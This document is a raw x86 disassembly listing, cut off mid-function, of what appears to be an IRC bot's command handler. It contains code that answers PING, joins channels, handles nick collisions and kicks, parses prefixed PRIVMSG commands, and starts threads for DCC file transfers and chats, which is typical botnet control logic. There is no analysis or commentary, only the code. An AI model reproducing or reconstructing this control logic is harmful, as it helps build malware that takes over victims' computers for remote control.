var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C500
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BF70
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BFD0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F75
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BF70
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push offset asc_42CDC4 ; " :"
push eax
call sub_41C2E0
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
mov esi, offset asc_42CDC0 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41CAD4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp [ebp+var_8C], ebx
jz loc_401F75
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
push offset asc_42CDBC ; "!"
push eax
call sub_41CAD4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a005 ; "005"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a302 ; "302"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BFD0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40AE84
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409823
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4]
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C890
push [ebp+arg_1C]
push edi
call sub_41C8A0
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+arg_24], ebx
jz short loc_401F75
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BFD0
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F75
push eax
call sub_41B9C0
push [ebp+arg_24]
mov edi, eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C266
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi
push offset aPart ; "PART"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi
push offset aQuit ; "QUIT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80]
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CCFC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCDC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41CA50
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41CA50
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push [ebp+var_8C]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCC0
mov [ebp+arg_8], eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+var_88]
mov edi, offset aS_2 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+var_84]
push edi
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC84
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset sub_416563
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+var_88], ebx
jz loc_401F75
push offset dword_42CC80
push [ebp+var_88]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+var_84], ebx
jz loc_401F75
inc [ebp+var_84]
jz short loc_40233A
cmp [ebp+arg_10], ebx
jz short loc_40233A
lea eax, [ebp+var_338]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C850
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
push edi
push offset dword_42CC74
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB888
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC58
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi
push offset dword_42CC50
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC38
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CBFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CBB8
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
jz loc_40252A
push 1Bh
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_2 ; "%s"
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB90
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset sub_416000
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CB58
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB28
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD+956j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAF4
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi
push offset aC ; "c"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294CC, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DB90
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294CC
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset asc_42CDC4 ; " :"
push [ebp+arg_0]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
